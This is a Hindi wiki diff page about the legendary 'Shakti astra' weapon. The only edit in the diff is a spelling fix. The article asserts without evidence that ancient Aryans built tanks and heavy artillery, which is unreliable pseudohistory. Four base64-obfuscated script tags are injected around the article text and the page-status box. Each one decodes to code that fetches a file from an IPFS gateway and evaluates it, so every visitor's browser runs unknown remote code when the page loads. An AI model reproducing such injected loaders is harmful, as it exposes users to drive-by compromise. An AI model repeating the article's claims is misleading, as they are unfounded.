"शक्ति अस्त्र" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "ते है," to "ते हैं,")
छो (Text replace - "तेज " to "तेज़ ")
पंक्ति 1: पंक्ति 1:
 
'''शक्ति अस्त्र'''
 
'''शक्ति अस्त्र'''
  
यह लंबाई में गज भर होते हैं, उसका हेंडल बड़ा होता है, उसका मुँह [[सिंह]] के समान होता है और उसमें बड़ी तेज जीभ और पंजे होते हैं। उसका रंग नीला होता है और उसमें छोटी-छोटी घंटियाँ लगी होती हैं। यह बड़ी भारी होती है और दोनों हाथों से फेंकी जाती है। ये वे [[अस्त्र शस्त्र|शस्त्र]] हैं, जो यान्त्रिक उपाय से फेंके जाते थे; ये अस्त्रनलिका आदि हैं नाना प्रकार के अस्त्र इसके अन्तर्गत आते हैं। अग्नि, गैस, विद्युत से भी ये अस्त्र छोडे जाते हैं। प्रमाणों की ज़रूरत नहीं है कि प्राचीन [[आर्य]] गोला-बारूद और भारी तोपें, टैंक बनाने में भी कुशल थे। इन अस्त्रों के लिये देवी और देवताओं की आवश्यकता नहीं पड़ती। ये भयकंर अस्त्र हैं और स्वयं ही अग्नि, गैस या विद्युत आदि से चलते हैं। इनका प्राचीन [[संस्कृत]]-ग्रन्थों में उल्लेख है।
+
यह लंबाई में गज भर होते हैं, उसका हेंडल बड़ा होता है, उसका मुँह [[सिंह]] के समान होता है और उसमें बड़ी तेज़ जीभ और पंजे होते हैं। उसका रंग नीला होता है और उसमें छोटी-छोटी घंटियाँ लगी होती हैं। यह बड़ी भारी होती है और दोनों हाथों से फेंकी जाती है। ये वे [[अस्त्र शस्त्र|शस्त्र]] हैं, जो यान्त्रिक उपाय से फेंके जाते थे; ये अस्त्रनलिका आदि हैं नाना प्रकार के अस्त्र इसके अन्तर्गत आते हैं। अग्नि, गैस, विद्युत से भी ये अस्त्र छोडे जाते हैं। प्रमाणों की ज़रूरत नहीं है कि प्राचीन [[आर्य]] गोला-बारूद और भारी तोपें, टैंक बनाने में भी कुशल थे। इन अस्त्रों के लिये देवी और देवताओं की आवश्यकता नहीं पड़ती। ये भयकंर अस्त्र हैं और स्वयं ही अग्नि, गैस या विद्युत आदि से चलते हैं। इनका प्राचीन [[संस्कृत]]-ग्रन्थों में उल्लेख है।
  
 
{{प्रचार}}
 
{{प्रचार}}

11:40, 20 फ़रवरी 2011 का अवतरण

शक्ति अस्त्र

यह लंबाई में गज भर होते हैं, उसका हेंडल बड़ा होता है, उसका मुँह सिंह के समान होता है और उसमें बड़ी तेज़ जीभ और पंजे होते हैं। उसका रंग नीला होता है और उसमें छोटी-छोटी घंटियाँ लगी होती हैं। यह बड़ी भारी होती है और दोनों हाथों से फेंकी जाती है। ये वे शस्त्र हैं, जो यान्त्रिक उपाय से फेंके जाते थे; ये अस्त्रनलिका आदि हैं नाना प्रकार के अस्त्र इसके अन्तर्गत आते हैं। अग्नि, गैस, विद्युत से भी ये अस्त्र छोडे जाते हैं। प्रमाणों की ज़रूरत नहीं है कि प्राचीन आर्य गोला-बारूद और भारी तोपें, टैंक बनाने में भी कुशल थे। इन अस्त्रों के लिये देवी और देवताओं की आवश्यकता नहीं पड़ती। ये भयकंर अस्त्र हैं और स्वयं ही अग्नि, गैस या विद्युत आदि से चलते हैं। इनका प्राचीन संस्कृत-ग्रन्थों में उल्लेख है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>